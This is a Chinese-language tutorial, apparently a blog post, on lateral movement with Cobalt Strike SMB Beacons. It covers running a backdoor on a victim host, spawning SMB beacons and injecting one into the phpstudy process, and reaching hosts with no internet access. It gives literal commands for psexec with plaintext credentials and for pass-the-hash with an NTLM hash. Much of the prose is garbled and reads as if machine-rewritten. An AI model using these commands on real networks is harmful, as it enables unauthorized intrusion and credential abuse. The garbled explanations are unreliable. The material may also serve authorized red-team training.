0x01 SMB Beacon
SMB Beacon命名管通过父级使用Beacon两个通信Beacons链接后,子Beacon从父Beacon获取任务并发送。这种对等通信对同一主机 Beacon 和跨网络的 Beacon 都有效,即 SMB Beacon 通过管道( pipe)进程间数据传输。管道通信的过程可以是本地主机上的两个过程,也可以通过网络与远程主机上的过程进行通信。Windows 命名管道通信封装 SMB 该流量包装在协议中SMB所以在协议中SMB beacon相对隐蔽。SMB beacon可用载荷不能直接生成, 只能使用 PsExec 或 Stageless Payload 上线。
0x02 使用条件
SMB Beacon使用条件如下:
- 具有 SMB Beacon 主机必须接受 445 端口上的连接。
- 只一个只能链接 Cobalt Strike 实例管理的 Beacon。
- 利用这种beacon横移必须有目标主机管理员组的权限或有管理员组权限的证据。
0x03 使用教程
为了方便演示操作,首先推出主机shell,例如,创建一个 HTTP Beacon 监听器。
生成 HTTP 监听器的一个后门文件。
后门文件在受害者主机中运行,CS成功接收受害主机shell。
1. SMB Beacon 监听器
主机上线后,创建一个SMB Beacon监听器, pipeame (管道名称)可自定义修改认修改。
2. 派生会话SMB Beacon
右键选中HTTP监控器上线的主机进入Beacon控制台,输入spawn加SMB Beacon监听器名称, 例如:spawn SMB
,成功运行后external中可以看到IP后有个∞∞字符的派生SMB Beacon。
3. 在线注入过程SMB Beacon
将SMB Beacon注入某个过程phpstudy进程为例。
在phpstudy中注入SMB Beacon之后,就可以看到了process为phpstudy.exe的SMB Beacon。
0x04 上线不出网主机
1. 使用场景
首先,建立一个SMB Beacon的监听:SMB_Beacon
- 目标主机不出网,已知目标机管理员账号的明文密码或密码哈希,使用SMB Beacon正连接让它上线。
- 在域环境中,域用户的帐户密码已经获得。因为在域内,默认域用户可以登录除域控外的所有主机。使用该域用户和其他主机建立IPC连接,然后让其他主机进行连接SMB Beacon上线。
2. 明文密码上线SMB Beacon
beacon> shell net use \\192.168.158.130 /u:administrator root beacon> jump psexec_psh 192.168.158.130 SMB_Beacon
3. 在线密码哈希SMB Beacon
beacon> rev2self beacon> pth WIN2003\Administrator 329153f560eb329c0e1deea55e88a1e9 beacon> jump psexec_psh 192.168.158.130 SMB_Beacon
拓展:cs利用smb线上出网和不出网主机:https://www.cnblogs.com/sunny11/p/14301425.html
0x04 连接与断开
在Beacon可用于控制台unlink命令断开连接,如断开连接192.168.158.130,输入命令unlink 192.168.158.130
。如果您想再次连接,输入命令link 192.168.158.130
。
若断开一个过程 Beacon ,在父会话或子会话中使用 unlink [ip address] [session PID]
。这个[session PID] 连接应取消参数Beacon 的进程 ID。当有多个子时,该值 Beacon 指定一个特殊的 定的 Beacon 断开连接。SMB Beacon取消了连接,它不会离开并消失。相反,它进入一种等待其他 Beacon 连接状态。 link 另一个命令来自未来 Beacon 恢复对 SMB Beacon 的控制。
参考文章
- https://blog.ateam.qianxin.com/CobaltStrike4.0用户手册_中文翻译.pdf
- https://teamssix.com/200419-150510.html
- https://www.cnblogs.com/sunny11/p/14301425.html